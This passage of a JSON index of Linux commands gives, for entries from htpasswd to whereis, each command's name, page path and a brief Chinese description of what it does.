"},"htpasswd":{"n":"htpasswd","p":"/htpasswd","d":"apache服务器创建密码认证文件"},"hwclock":{"n":"hwclock","p":"/hwclock","d":"显示与设定硬件时钟"},"iconv":{"n":"iconv","p":"/iconv","d":"转换文件的编码方式"},"id":{"n":"id","p":"/id","d":"打印真实以及有效的用户和所在组的信息"},"ifcfg":{"n":"ifcfg","p":"/ifcfg","d":"置Linux中的网络接口参数"},"ifconfig":{"n":"ifconfig","p":"/ifconfig","d":"配置和显示Linux系统网卡的网络参数"},"ifdown":{"n":"ifdown","p":"/ifdown","d":"禁用指定的网络接口"},"ifstat":{"n":"ifstat","p":"/ifstat","d":"统计网络接口流量状态"},"iftop":{"n":"iftop","p":"/iftop","d":"一款实时流量监控工具"},"ifup":{"n":"ifup","p":"/ifup","d":"激活指定的网络接口"},"indent":{"n":"indent","p":"/indent","d":"格式化C语言的源文件"},"info":{"n":"info","p":"/info","d":"Linux下info格式的帮助指令"},"init":{"n":"init","p":"/init","d":"init进程是所有Linux进程的父进程"},"inotifywait":{"n":"inotifywait","p":"/inotifywait","d":"异步文件系统监控机制"},"insmod":{"n":"insmod","p":"/insmod","d":"将给定的模块加载到内核中"},"install":{"n":"install","p":"/install","d":"安装或升级软件或备份数据"},"iostat":{"n":"iostat","p":"/iostat","d":"监视系统输入输出设备和CPU的使用情况"},"iotop":{"n":"iotop","p":"/iotop","d":"用来监视磁盘I/O使用状况的工具"},"ip":{"n":"ip","p":"/ip","d":"网络配置工具"},"ip6tables-restore":{"n":"ip6tables-restore","p":"/ip6tables-restore","d":"还原ip6tables表"},"ip6tables-save":{"n":"ip6tables-save","p":"/ip6tables-save","d":"保存ip6tables表配置"},"ip6tables":{"n":"ip6tables","p":"/ip6tables","d":"linux中防火墙软件"},"ipcalc":{"n":"ipcalc","p":"/ipcalc","d":"简单的IP地址计算器"},"ipcrm":{"n":"ipcrm","p":"/ipcrm","d":"删除消息队列、信号集、或者共享内存标识"},"ipcs":{"n":"ipcs","p":"/ipcs","d":"分析消息队列共享内存和信号量"},"iperf":{"n":"iperf","p":"/iperf","d":"网络性能测试工具"},"iptables-restore":{"n":"iptables-restore","p":"/iptables-restore","d":"还原iptables表的配置"},"iptables-save":{"n":"iptables-save","p":"/iptables-save","d":"备份iptables的表配置"},"iptables":{"n":"iptables","p":"/iptables","d":"Linux上常用的防火墙软件"},"iptraf":{"n":"iptraf","p":"/iptraf","d":"实时地监视网卡流量"},"iptstate":{"n":"iptstate","p":"/iptstate","d":"显示iptables的工作状态"},"ispell":{"n":"ispell","p":"/ispell","d":"检查文件中出现的拼写错误"},"jed":{"n":"jed","p":"/jed","d":"主要用于编辑代码的编辑器"},"jobs":{"n":"jobs","p":"/jobs","d":"显示作业的状态。"},"joe":{"n":"joe","p":"/joe","d":"强大的纯文本编辑器"},"join":{"n":"join","p":"/join","d":"两个文件中指定栏位内容相同的行连接起来"},"journalctl":{"n":"journalctl","p":"/journalctl","d":"检索 systemd 日志，是 CentOS 7 才有的工具。"},"jq":{"n":"jq","p":"/jq","d":"一个灵活的轻量级命令行JSON处理器"},"jwhois":{"n":"jwhois","p":"/jwhois","d":"whois 客户端服务"},"kernelversion":{"n":"kernelversion","p":"/kernelversion","d":"打印当前内核的主版本号"},"kexec":{"n":"kexec","p":"/kexec","d":"从当前正在运行的内核引导到一个新内核"},"kill":{"n":"kill","p":"/kill","d":"发送信号到进程。"},"killall":{"n":"killall","p":"/killall","d":"使用进程的名称来杀死一组进程"},"last":{"n":"last","p":"/last","d":"列出目前与过去登入系统的用户相关信息"},"lastb":{"n":"lastb","p":"/lastb","d":"列出登入系统失败的用户相关信息"},"lastlog":{"n":"lastlog","p":"/lastlog","d":"显示系统中所有用户最近一次登录信息"},"ld":{"n":"ld","p":"/ld","d":"将目标文件连接为可执行程序"},"ldconfig":{"n":"ldconfig","p":"/ldconfig","d":"动态链接库管理命令"},"ldd":{"n":"ldd","p":"/ldd","d":"打印程序或者库文件所依赖的共享库列表"},"less":{"n":"less","p":"/less","d":"分屏上下翻页浏览文件内容"},"let":{"n":"let","p":"/let","d":"简单的计算器，执行算术表达式。"},"lftp":{"n":"lftp","p":"/lftp","d":"优秀的文件客户端程序"},"lftpget":{"n":"lftpget","p":"/lftpget","d":"调用lftp指令下载指定的文件"},"lha":{"n":"lha","p":"/lha","d":"压缩或解压缩lzh格式文件"},"lilo":{"n":"lilo","p":"/lilo","d":"安装核心载入开机管理程序"},"ln":{"n":"ln","p":"/ln","d":"用来为文件创建链接"},"lnstat":{"n":"lnstat","p":"/lnstat","d":"显示Linux系统的网路状态"},"local":{"n":"local","p":"/local","d":"在函数内定义局部变量。"},"locate":{"n":"locate","p":"/locate","d":"比 find 好用的文件查找工具"},"logger":{"n":"logger","p":"/logger","d":"在系统日志中记录相应条目"},"login":{"n":"login","p":"/login","d":"登录系统或切换用户身份"},"logname":{"n":"logname","p":"/logname","d":"打印当前终端登录用户的名称。"},"logout":{"n":"logout","p":"/logout","d":"退出当前登录的Shell"},"logrotate":{"n":"logrotate","p":"/logrotate","d":"系统日志进行轮转、压缩和删除"},"logsave":{"n":"logsave","p":"/logsave","d":"将命令的输出信息保存到指定的日志文件"},"logwatch":{"n":"logwatch","p":"/logwatch","d":"可定制和可插入式的日志监视系统"},"look":{"n":"look","p":"/look","d":"显示文件中以指定字符串开头的任意行"},"losetup":{"n":"losetup","p":"/losetup","d":"设定与控制循环（loop）设备"},"lp":{"n":"lp","p":"/lp","d":"打印文件或修改排队的打印任务"},"lpadmin":{"n":"lpadmin","p":"/lpadmin","d":"配置CUPS套件中的打印机和类"},"lpc":{"n":"lpc","p":"/lpc","d":"命令行方式打印机控制程序"},"lpq":{"n":"lpq","p":"/lpq","d":"显示打印队列中的打印任务的状态信息"},"lpr":{"n":"lpr","p":"/lpr","d":"将文件发送给指定打印机进行打印"},"lprm":{"n":"lprm","p":"/lprm","d":"删除打印队列中的打印任务"},"lpstat":{"n":"lpstat","p":"/lpstat","d":"显示CUPS中打印机的状态信息"},"ls":{"n":"ls","p":"/ls","d":"显示目录内容列表"},"lsattr":{"n":"lsattr","p":"/lsattr","d":"查看文件的第二扩展文件系统属性"},"lsb_release":{"n":"lsb_release","p":"/lsb_release","d":"显示发行版本信息"},"lsblk":{"n":"lsblk","p":"/lsblk","d":"列出块设备信息"},"lscpu":{"n":"lscpu","p":"/lscpu","d":"显示有关CPU架构的信息"},"lsmod":{"n":"lsmod","p":"/lsmod","d":"显示已载入系统的模块"},"lsof":{"n":"lsof","p":"/lsof","d":"显示Linux系统当前已打开的所有文件列表 `lsof -p pid`"},"lspci":{"n":"lspci","p":"/lspci","d":"显示当前主机的所有PCI总线信息"},"lsusb":{"n":"lsusb","p":"/lsusb","d":"显示本机的USB设备列表信息"},"ltrace":{"n":"ltrace","p":"/ltrace","d":"用来跟踪进程调用库函数的情况"},"lvcreate":{"n":"lvcreate","p":"/lvcreate","d":"用于创建LVM的逻辑卷"},"lvdisplay":{"n":"lvdisplay","p":"/lvdisplay","d":"显示逻辑卷属性"},"lvextend":{"n":"lvextend","p":"/lvextend","d":"扩展逻辑卷空间"},"lvreduce":{"n":"lvreduce","p":"/lvreduce","d":"收缩逻辑卷空间"},"lvremove":{"n":"lvremove","p":"/lvremove","d":"删除指定LVM逻辑卷"},"lvresize":{"n":"lvresize","p":"/lvresize","d":"调整逻辑卷空间大小"},"lvscan":{"n":"lvscan","p":"/lvscan","d":"扫描逻辑卷"},"lynx":{"n":"lynx","p":"/lynx","d":"纯文本模式的网页浏览器"},"mail":{"n":"mail","p":"/mail","d":"命令行下发送和接收电子邮件"},"mailq":{"n":"mailq","p":"/mailq","d":"显示待发送的邮件队列"},"mailstat":{"n":"mailstat","p":"/mailstat","d":"显示到达的邮件状态"},"make":{"n":"make","p":"/make","d":"GNU的工程化编译工具"},"man":{"n":"man","p":"/man","d":"查看Linux中的指令帮助"},"mapfile":{"n":"mapfile","p":"/mapfile","d":"从标准输入读取行并赋值到数组。"},"md5sum":{"n":"md5sum","p":"/md5sum","d":"计算和校验文件报文摘要的工具程序"},"mesg":{"n":"mesg","p":"/mesg","d":"设置当前终端的写权限"},"mii-tool":{"n":"mii-tool","p":"/mii-tool","d":"配置网络设备协商方式的工具"},"mkbootdisk":{"n":"mkbootdisk","p":"/mkbootdisk","d":"可建立目前系统的启动盘"},"mkdir":{"n":"mkdir","p":"/mkdir","d":"用来创建目录"},"mke2fs":{"n":"mke2fs","p":"/mke2fs","d":"创建磁盘分区上的“etc2/etc3”文件系统"},"mkfs":{"n":"mkfs","p":"/mkfs","d":"用于在设备上创建Linux文件系统"},"mkinitrd":{"n":"mkinitrd","p":"/mkinitrd","d":"建立要载入ramdisk的映像文件"},"mkisofs":{"n":"mkisofs","p":"/mkisofs","d":"建立ISO 9660映像文件"},"mknod":{"n":"mknod","p":"/mknod","d":"创建字符设备文件和块设备文件"},"mkswap":{"n":"mkswap","p":"/mkswap","d":"建立和设置SWAP交换分区"},"mktemp":{"n":"mktemp","p":"/mktemp","d":"创建临时文件供shell脚本使用"},"modprobe":{"n":"modprobe","p":"/modprobe","d":"自动处理可载入模块"},"more":{"n":"more","p":"/more","d":"显示文件内容，每次显示一屏"},"mount":{"n":"mount","p":"/mount","d":"用于挂载Linux系统外的文件"},"mpstat":{"n":"mpstat","p":"/mpstat","d":"显示各个可用CPU的状态"},"mtools":{"n":"mtools","p":"/mtools","d":"显示mtools支持的指令"},"mv":{"n":"mv","p":"/mv","d":"用来对文件或目录重新命名"},"mysql":{"n":"mysql","p":"/mysql","d":"MySQL服务器客户端工具"},"mysqladmin":{"n":"mysqladmin","p":"/mysqladmin","d":"MySQL服务器管理客户端"},"mysqldump":{"n":"mysqldump","p":"/mysqldump","d":"MySQL数据库中备份工具"},"mysqlimport":{"n":"mysqlimport","p":"/mysqlimport","d":"为MySQL服务器用命令行方式导入数据"},"mysqlshow":{"n":"mysqlshow","p":"/mysqlshow","d":"显示MySQL中数据库相关信息"},"named-checkzone":{"n":"named-checkzone","p":"/named-checkzone","d":"使用named-checkzone命令可以进行区域文件有效性检查和转换，必须指定区域名称和区域文件名称"},"nano":{"n":"nano","p":"/nano","d":"字符终端文本编辑器"},"nc":{"n":"nc","p":"/nc","d":"用于设置路由器，是网络工具中的瑞士军刀。"},"ncftp":{"n":"ncftp","p":"/ncftp","d":"是增强的的FTP工具"},"neofetch":{"n":"neofetch","p":"/neofetch","d":"显示带有发行徽标的系统信息的工具"},"nethogs":{"n":"nethogs","p":"/nethogs","d":"终端下的网络流量监控工具"},"netstat":{"n":"netstat","p":"/netstat","d":"查看Linux中网络系统状态信息"},"newusers":{"n":"newusers","p":"/newusers","d":"用于批处理的方式一次创建多个命令"},"nfsstat":{"n":"nfsstat","p":"/nfsstat","d":"列出NFS客户端和服务器的工作状态"},"ngrep":{"n":"ngrep","p":"/ngrep","d":"方便的数据包匹配和显示工具"},"nice":{"n":"nice","p":"/nice","d":"调整程序执行的优先权等级"},"nisdomainname":{"n":"nisdomainname","p":"/nisdomainname","d":"显示主机NIS的域名"},"nl":{"n":"nl","p":"/nl","d":"为每一个文件添加行号。"},"nm":{"n":"nm","p":"/nm","d":"显示二进制目标文件的符号表"},"nmap":{"n":"nmap","p":"/nmap","d":"网络探测和安全审核"},"nmcli":{"n":"nmcli","p":"/nmcli","d":"地址配置工具"},"nohup":{"n":"nohup","p":"/nohup","d":"将程序以忽略挂起信号的方式运行起来"},"nologin":{"n":"nologin","p":"/nologin","d":"拒绝用户登录系统"},"nproc":{"n":"nproc","p":"/nproc","d":"打印可用的处理器单元数量。"},"nslookup":{"n":"nslookup","p":"/nslookup","d":"查询域名DNS信息的工具"},"ntpdate":{"n":"ntpdate","p":"/ntpdate","d":"使用网络计时协议（NTP）设置日期和时间"},"ntsysv":{"n":"ntsysv","p":"/ntsysv","d":"集中管理系统的各种服务"},"objdump":{"n":"objdump","p":"/objdump","d":"显示二进制文件信息"},"od":{"n":"od","p":"/od","d":"输出文件的八进制、十六进制等格式编码的字节"},"openssl":{"n":"openssl","p":"/openssl","d":"强大的安全套接字层密码库"},"parted":{"n":"parted","p":"/parted","d":"磁盘分区和分区大小调整工具"},"partprobe":{"n":"partprobe","p":"/partprobe","d":"不重启的情况下重读分区"},"passwd":{"n":"passwd","p":"/passwd","d":"用于让用户可以更改自己的密码"},"paste":{"n":"paste","p":"/paste","d":"将多个文件按列队列合并"},"patch":{"n":"patch","p":"/patch","d":"为开放源代码软件安装补丁程序"},"pathchk":{"n":"pathchk","p":"/pathchk","d":"检查文件中不可移植的部分"},"perl":{"n":"perl","p":"/perl","d":"perl语言解释器"},"pfctl":{"n":"pfctl","p":"/pfctl","d":"PF防火墙的配置命令"},"pgrep":{"n":"pgrep","p":"/pgrep","d":"根据用户给出的信息在当前运行进程中查找并列出符合条件的进程ID（PID）"},"php":{"n":"php","p":"/php","d":"PHP语言的命令行接口"},"pico":{"n":"pico","p":"/pico","d":"功能强大全屏幕的文本编辑器"},"pidof":{"n":"pidof","p":"/pidof","d":"查找指定名称的进程的进程号ID号"},"pidstat":{"n":"pidstat","p":"/pidstat","d":"监控进程的系统资源占用情况"},"pigz":{"n":"pigz","p":"/pigz","d":"可以用来解压缩文件，gzip的并行实现升级版"},"ping":{"n":"ping","p":"/ping","d":"测试主机之间网络的连通性"},"pkill":{"n":"pkill","p":"/pkill","d":"可以按照进程名杀死进程"},"pmap":{"n":"pmap","p":"/pmap","d":"报告进程的内存映射关系"},"popd":{"n":"popd","p":"/popd","d":"从目录堆栈中删除目录。"},"poweroff":{"n":"poweroff","p":"/poweroff","d":"关闭Linux系统，关闭记录会被写入到/var/log/wtmp日志文件中"},"ppp-off":{"n":"ppp-off","p":"/ppp-off","d":"关闭ppp连线"},"pr":{"n":"pr","p":"/pr","d":"将文本文件转换成适合打印的格式"},"printf":{"n":"printf","p":"/printf","d":"格式化并输出结果。"},"protoize":{"n":"protoize","p":"/protoize","d":"GNU-C代码转换为ANSI-C代码"},"ps":{"n":"ps","p":"/ps","d":"报告当前系统的进程状态"},"pssh":{"n":"pssh","p":"/pssh","d":"批量管理执行"},"pstack":{"n":"pstack","p":"/pstack","d":"显示每个进程的栈跟踪"},"pstree":{"n":"pstree","p":"/pstree","d":"以树状图的方式展现进程之间的派生关系"},"pushd":{"n":"pushd","p":"/pushd","d":"将目录添加到目录堆栈顶部。"},"pv":{"n":"pv","p":"/pv","d":"显示当前在命令行执行的命令的进度信息，管道查看器"},"pvchange":{"n":"pvchange","p":"/pvchange","d":"修改物理卷属性"},"pvck":{"n":"pvck","p":"/pvck","d":"检测物理卷的LVM元数据的一致性"},"pvcreate":{"n":"pvcreate","p":"/pvcreate","d":"将物理硬盘分区初始化为物理卷"},"pvdisplay":{"n":"pvdisplay","p":"/pvdisplay","d":"显示物理卷的属性"},"pvremove":{"n":"pvremove","p":"/pvremove","d":"删除一个存在的物理卷"},"pvs":{"n":"pvs","p":"/pvs","d":"输出物理卷信息报表"},"pvscan":{"n":"pvscan","p":"/pvscan","d":"扫描系统中所有硬盘的物理卷列表"},"pwck":{"n":"pwck","p":"/pwck","d":"用来验证系统认证文件内容和格式的完整性"},"pwconv":{"n":"pwconv","p":"/pwconv","d":"用来开启用户的投影密码"},"pwd":{"n":"pwd","p":"/pwd","d":"显示当前工作目录的绝对路径。"},"pwunconv":{"n":"pwunconv","p":"/pwunconv","d":"用来关闭用户的投影密码"},"quota":{"n":"quota","p":"/quota","d":"显示磁盘已使用的空间与限制"},"quotacheck":{"n":"quotacheck","p":"/quotacheck","d":"检查磁盘的使用空间与限制"},"quotaoff":{"n":"quotaoff","p":"/quotaoff","d":"关闭Linux内核中指定文件系统的磁盘配额功能"},"quotaon":{"n":"quotaon","p":"/quotaon","d":"激活Linux内核中指定文件系统的磁盘配额功能"},"rcconf":{"n":"rcconf","p":"/rcconf","d":"Debian Linux下的运行等级服务配置工具"},"rcp":{"n":"rcp","p":"/rcp","d":"使在两台Linux主机之间的文件复制操作更简单"},"read":{"n":"read","p":"/read","d":"从键盘读取变量值"},"readelf":{"n":"readelf","p":"/readelf","d":"用于显示elf格式文件的信息"},"readonly":{"n":"readonly","p":"/readonly","d":"标记shell变量或函数为只读"},"reboot":{"n":"reboot","p":"/reboot","d":"重新启动正在运行的Linux操作系统"},"reject":{"n":"reject","p":"/reject","d":"指示打印系统拒绝发往指定目标打印机的打印任务"},"rename":{"n":"rename","p":"/rename","d":"用字符串替换的方式批量改变文件名"},"renice":{"n":"renice","p":"/renice","d":"修改正在运行的进程的调度优先级"},"repquota":{"n":"repquota","p":"/repquota","d":"报表的格式输出磁盘空间限制的状态"},"resize":{"n":"resize","p":"/resize","d":"命令设置终端机视窗的大小"},"restore":{"n":"restore","p":"/restore","d":"所进行的操作和dump指令相反"},"restorecon":{"n":"restorecon","p":"/restorecon","d":"恢复文件的安全上下文"},"return":{"n":"return","p":"/return","d":"从函数中退出并返回数值。"},"rev":{"n":"rev","p":"/rev","d":"将文件内容以字符为单位反序输出"},"rexec":{"n":"rexec","p":"/rexec","d":"远程执行Linux系统下命令"},"rlogin":{"n":"rlogin","p":"/rlogin","d":"从当前终端登录到远程Linux主机"},"rm":{"n":"rm","p":"/rm","d":"用于删除给定的文件和目录"},"rmdir":{"n":"rmdir","p":"/rmdir","d":"用来删除空目录"},"rmmod":{"n":"rmmod","p":"/rmmod","d":"从运行的内核中移除指定的内核模块"},"route":{"n":"route","p":"/route","d":"显示并设置Linux中静态路由表"},"rpm":{"n":"rpm","p":"/rpm","d":"RPM软件包的管理工具"},"rpm2cpio":{"n":"rpm2cpio","p":"/rpm2cpio","d":"将RPM软件包转换为cpio格式的文件"},"rpmbuild":{"n":"rpmbuild","p":"/rpmbuild","d":"创建RPM的二进制软件包和源码软件包"},"rpmdb":{"n":"rpmdb","p":"/rpmdb","d":"初始化和重建RPM数据库"},"rpmquery":{"n":"rpmquery","p":"/rpmquery","d":"从RPM数据库中查询软件包信息"},"rpmsign":{"n":"rpmsign","p":"/rpmsign","d":"使用RPM软件包的签名管理工具"},"rpmverify":{"n":"rpmverify","p":"/rpmverify","d":"验证已安装的RPM软件包的正确性"},"rsh":{"n":"rsh","p":"/rsh","d":"连接远程主机并执行命令"},"rsync":{"n":"rsync","p":"/rsync","d":"远程数据同步工具"},"runlevel":{"n":"runlevel","p":"/runlevel","d":"打印当前Linux系统的运行等级"},"sar":{"n":"sar","p":"/sar","d":"系统运行状态统计工具"},"scp":{"n":"scp","p":"/scp","d":"加密的方式在本地主机和远程主机之间复制文件"},"screen":{"n":"screen","p":"/screen","d":"用于命令行终端切换"},"script":{"n":"script","p":"/script","d":"记录终端会话的所有操作"},"scriptreplay":{"n":"scriptreplay","p":"/scriptreplay","d":"重新播放终端会话的所有操作"},"sed":{"n":"sed","p":"/sed","d":"功能强大的流式文本编辑器"},"seinfo":{"n":"seinfo","p":"/seinfo","d":"查询SELinux的策略提供多少相关规则"},"semanage":{"n":"semanage","p":"/semanage","d":"默认目录的安全上下文查询与修改"},"sendmail":{"n":"sendmail","p":"/sendmail","d":"著名电子邮件服务器"},"seq":{"n":"seq","p":"/seq","d":"以指定增量从首数开始打印数字到尾数"},"service":{"n":"service","p":"/service","d":"控制系统服务的实用工具"},"sesearch":{"n":"sesearch","p":"/sesearch","d":"查询SELinux策略的规则详情"},"set":{"n":"set","p":"/set","d":"显示或设置shell特性及shell变量"},"setfacl":{"n":"setfacl","p":"/setfacl","d":"设置文件访问控制列表"},"setpci":{"n":"setpci","p":"/setpci","d":"查询和配置PCI设备的使用工具"},"setsebool":{"n":"setsebool","p":"/setsebool","d":"修改SElinux策略内各项规则的布尔值"},"setsid":{"n":"setsid","p":"/setsid","d":"在新的会话中运行程序"},"sftp-server":{"n":"sftp-server","p":"/sftp-server","d":"sftp协议的服务器端程序"},"sftp":{"n":"sftp","p":"/sftp","d":"交互式的文件传输程序"},"sh":{"n":"sh","p":"/sh","d":"shell命令解释器"},"shift":{"n":"shift","p":"/shift","d":"移动位置参数。"},"shopt":{"n":"shopt","p":"/shopt","d":"显示和设置shell操作选项"},"showmount":{"n":"showmount","p":"/showmount","d":"显示NFS服务器加载的信息"},"shuf":{"n":"shuf","p":"/shuf","d":"产生随机的排列。"},"shutdown":{"n":"shutdown","p":"/shutdown","d":"用来执行系统关机的命令"},"skill":{"n":"skill","p":"/skill","d":"向选定的进程发送信号冻结进程"},"slabtop":{"n":"slabtop","p":"/slabtop","d":"实时显示内核slab内存缓存信息"},"sleep":{"n":"sleep","p":"/sleep","d":"将目前动作延迟一段时间"},"slocate":{"n":"slocate","p":"/slocate","d":"命令查找文件或目录"},"smbclient":{"n":"smbclient","p":"/smbclient","d":"交互方式访问samba服务器"},"smbpasswd":{"n":"smbpasswd","p":"/smbpasswd","d":"samba用户和密码管理工具"},"sort":{"n":"sort","p":"/sort","d":"对文本文件中所有行进行排序。"},"source":{"n":"source","p":"/source","d":"在当前Shell环境中从指定文件读取和执行命令。"},"speedtest-cli":{"n":"speedtest-cli","p":"/speedtest-cli","d":"命令行下测试服务器外网速度"},"spell":{"n":"spell","p":"/spell","d":"对文件进行拼写检查"},"split":{"n":"split","p":"/split","d":"分割任意大小的文件"},"squid":{"n":"squid","p":"/squid","d":"squid服务器守护进程"},"squidclient":{"n":"squidclient","p":"/squidclient","d":"squid服务器的客户端管理工具"},"ss":{"n":"ss","p":"/ss","d":"比 netstat 好用的socket统计信息，iproute2 包附带的另一个工具，允许你查询 socket 的有关统计信息"},"ssh-add":{"n":"ssh-add","p":"/ssh-add","d":"把专用密钥添加到ssh-agent的高速缓存中"},"ssh-agent":{"n":"ssh-agent","p":"/ssh-agent","d":"ssh密钥管理器"},"ssh-copy-id":{"n":"ssh-copy-id","p":"/ssh-copy-id","d":"把本地的ssh公钥文件安装到远程主机对应的账户下"},"ssh-keygen":{"n":"ssh-keygen","p":"/ssh-keygen","d":"为ssh生成、管理和转换认证密钥"},"ssh-keyscan":{"n":"ssh-keyscan","p":"/ssh-keyscan","d":"收集主机公钥的使用工具"},"ssh":{"n":"ssh","p":"/ssh","d":"openssh套件中的客户端连接工具"},"sshd":{"n":"sshd","p":"/sshd","d":"openssh软件套件中的服务器守护进程"},"startx":{"n":"startx","p":"/startx","d":"用来启动X Window"},"stat":{"n":"stat","p":"/stat","d":"用于显示文件的状态信息"},"strace":{"n":"strace","p":"/strace","d":"跟踪系统调用和信号"},"strings":{"n":"strings","p":"/strings","d":"在对象文件或二进制文件中查找可打印的字符串"},"stty":{"n":"stty","p":"/stty","d":"修改终端命令行的相关设置"},"su":{"n":"su","p":"/su","d":"用于切换当前用户身份到其他用户身份"},"sudo":{"n":"sudo","p":"/sudo","d":"以其他身份来执行命令"},"sum":{"n":"sum","p":"/sum","d":"计算文件的校验码和显示块数"},"supervisord":{"n":"supervisord","p":"/supervisord","d":"配置后台服务/常驻进程的进程管家工具"},"suspend":{"n":"suspend","p":"/suspend","d":"挂起shell的执行。"},"swapoff":{"n":"swapoff","p":"/swapoff","d":"关闭指定的交换空间"},"swapon":{"n":"swapon","p":"/swapon","d":"激活Linux系统中交换空间"},"sync":{"n":"sync","p":"/sync","d":"用于强制被改变的内容立刻写入磁盘"},"sysctl":{"n":"sysctl","p":"/sysctl","d":"时动态地修改内核的运行参数"},"syslog":{"n":"syslog","p":"/syslog","d":"系统默认的日志守护进程"},"systemctl":{"n":"systemctl","p":"/systemctl","d":"系统服务管理器指令"},"systool":{"n":"systool","p":"/systool","d":"显示基于总线、类和拓扑显示系统中设备的信息"},"tac":{"n":"tac","p":"/tac","d":"连接多个文件并以行为单位反向打印到标准输出。"},"tail":{"n":"tail","p":"/tail","d":"在屏幕上显示指定文件的末尾若干行"},"tailf":{"n":"tailf","p":"/tailf","d":"在屏幕上显示指定文件的末尾若干行内容，通常用于日志文件的跟踪输出"},"talk":{"n":"talk","p":"/talk","d":"让用户和其他用户聊天"},"tar":{"n":"tar","p":"/tar","d":"将许多文件一起保存至一个单独的磁带或磁盘归档，并能从归档中单独还原所需文件。"},"tcpdump":{"n":"tcpdump","p":"/tcpdump","d":"一款sniffer工具，是Linux上的抓包工具，嗅探器"},"tcpreplay":{"n":"tcpreplay","p":"/tcpreplay","d":"将PCAP包重新发送，用于性能或者功能测试"},"tee":{"n":"tee","p":"/tee","d":"从标准输入读取数据并重定向到标准输出和文件。"},"telinit":{"n":"telinit","p":"/telinit","d":"切换当前正在运行系统的运行等级"},"telnet":{"n":"telnet","p":"/telnet","d":"登录远程主机和管理(测试ip端口是否连通)"},"tempfile":{"n":"tempfile","p":"/tempfile","d":"shell中给临时文件命名"},"test":{"n":"test","p":"/test","d":"执行条件表达式。"},"tftp":{"n":"tftp","p":"/tftp","d":"在本机和tftp服务器之间使用TFTP协议传输文件"},"time":{"n":"time","p":"/time","d":"统计给定命令所花费的总时间"},"timedatectl":{"n":"timedatectl","p":"/timedatectl","d":"用于在 Linux 中设置或查询系统时间、日期和时区等配置。"},"times":{"n":"times","p":"/times","d":"显示进程累计时间。"},"tload":{"n":"tload","p":"/tload","d":"显示系统负载状况"},"tmux":{"n":"tmux","p":"/tmux","d":"Tmux是一个优秀的终端复用软件，类似GNU Screen，但来自于OpenBSD，采用BSD授权"},"top":{"n":"top","p":"/top","d":"显示或管理执行中的程序"},"touch":{"n":"touch","p":"/touch","d":"创建新的空文件"},"tput":{"n":"tput","p":"/tput","d":"通过terminfo数据库对终端会话进行初始化和操作"},"tr":{"n":"tr","p":"/tr","d":"将字符进行替换压缩和删除"},"tracepath":{"n":"tracepath","p":"/tracepath","d":"追踪目的主机经过的路由信息"},"traceroute":{"n":"traceroute","p":"/traceroute","d":"显示数据包到主机间的路径"},"trap":{"n":"trap","p":"/trap","d":"捕捉信号和其他事件并执行命令。"},"tree":{"n":"tree","p":"/tree","d":"树状图列出目录的内容"},"true":{"n":"true","p":"/true","d":"返回状态为成功。"},"tty":{"n":"tty","p":"/tty","d":"显示连接到当前标准输入的终端设备文件名"},"type":{"n":"type","p":"/type","d":"显示指定命令的类型。"},"ulimit":{"n":"ulimit","p":"/ulimit","d":"控制shell程序的资源"},"umask":{"n":"umask","p":"/umask","d":"显示或设置创建文件的权限掩码。"},"umount":{"n":"umount","p":"/umount","d":"用于卸载已经加载的文件系统"},"unalias":{"n":"unalias","p":"/unalias","d":"删除由alias设置的别名"},"uname":{"n":"uname","p":"/uname","d":"打印系统信息。"},"unarj":{"n":"unarj","p":"/unarj","d":"解压缩由arj命令创建的压缩包"},"uncompress":{"n":"uncompress","p":"/uncompress","d":"用来解压.Z文件"},"unexpand":{"n":"unexpand","p":"/unexpand","d":"将文件的空白字符转换为制表符"},"uniq":{"n":"uniq","p":"/uniq","d":"显示或忽略重复的行。"},"unlink":{"n":"unlink","p":"/unlink","d":"系统调用函数unlink去删除指定的文件"},"unprotoize":{"n":"unprotoize","p":"/unprotoize","d":"删除C语言源代码文件中的函数原型"},"unrar":{"n":"unrar","p":"/unrar","d":"解压rar文件命令，从 rar 压缩包中提取文件"},"unset":{"n":"unset","p":"/unset","d":"删除指定的shell变量或函数。"},"unzip":{"n":"unzip","p":"/unzip","d":"用于解压缩由zip命令压缩的压缩包"},"updatedb":{"n":"updatedb","p":"/updatedb","d":"创建或更新slocate命令所必需的数据库文件"},"uptime":{"n":"uptime","p":"/uptime","d":"查看Linux系统负载信息"},"useradd":{"n":"useradd","p":"/useradd","d":"创建的新的系统用户"},"userdel":{"n":"userdel","p":"/userdel","d":"用于删除给定的用户以及与用户相关的文件"},"usermod":{"n":"usermod","p":"/usermod","d":"用于修改用户的基本信息"},"usernetctl":{"n":"usernetctl","p":"/usernetctl","d":"被允许时操作指定的网络接口"},"users":{"n":"users","p":"/users","d":"打印当前主机所有登陆用户的名称。"},"uucico":{"n":"uucico","p":"/uucico","d":"UUCP文件传输服务程序"},"uupick":{"n":"uupick","p":"/uupick","d":"命令处理传送进来的文件"},"uuto":{"n":"uuto","p":"/uuto","d":"将文件传送到远端的UUCP主机"},"vdfuse":{"n":"vdfuse","p":"/vdfuse","d":"VirtualBox软件挂载VDI分区文件工具"},"vgchange":{"n":"vgchange","p":"/vgchange","d":"修改卷组属性"},"vgconvert":{"n":"vgconvert","p":"/vgconvert","d":"转换卷组元数据格式"},"vgcreate":{"n":"vgcreate","p":"/vgcreate","d":"用于创建LVM卷组"},"vgdisplay":{"n":"vgdisplay","p":"/vgdisplay","d":"显示LVM卷组的信息"},"vgextend":{"n":"vgextend","p":"/vgextend","d":"向卷组中添加物理卷"},"vgreduce":{"n":"vgreduce","p":"/vgreduce","d":"从卷组中删除物理卷"},"vgremove":{"n":"vgremove","p":"/vgremove","d":"用于用户删除LVM卷组"},"vgrename":{"n":"vgrename","p":"/vgrename","d":"使用vgrename命令可以重命名卷组的名称"},"vgscan":{"n":"vgscan","p":"/vgscan","d":"扫描并显示系统中的卷组"},"vi":{"n":"vi","p":"/vi","d":"功能强大的纯文本编辑器"},"vmstat":{"n":"vmstat","p":"/vmstat","d":"显示虚拟内存状态"},"volname":{"n":"volname","p":"/volname","d":"显示指定的ISO-9660格式的设备的卷名称"},"w":{"n":"w","p":"/w","d":"显示目前登入系统的用户信息"},"wait":{"n":"wait","p":"/wait","d":"等待进程执行完后返回"},"wall":{"n":"wall","p":"/wall","d":"向系统当前所有打开的终端上输出信息"},"watch":{"n":"watch","p":"/watch","d":"可以将命令的输出结果输出到标准输出设备，多用于周期性执行命令/定时执行命令"},"wc":{"n":"wc","p":"/wc","d":"统计文件的字节数、字数、行数"},"wget":{"n":"wget","p":"/wget","d":"Linux系统下载文件工具"},"whatis":{"n":"whatis","p":"/whatis","d":"查询一个命令执行什么功能"},"whereis":{"n":"whereis","p":"/whereis","d":"查找二进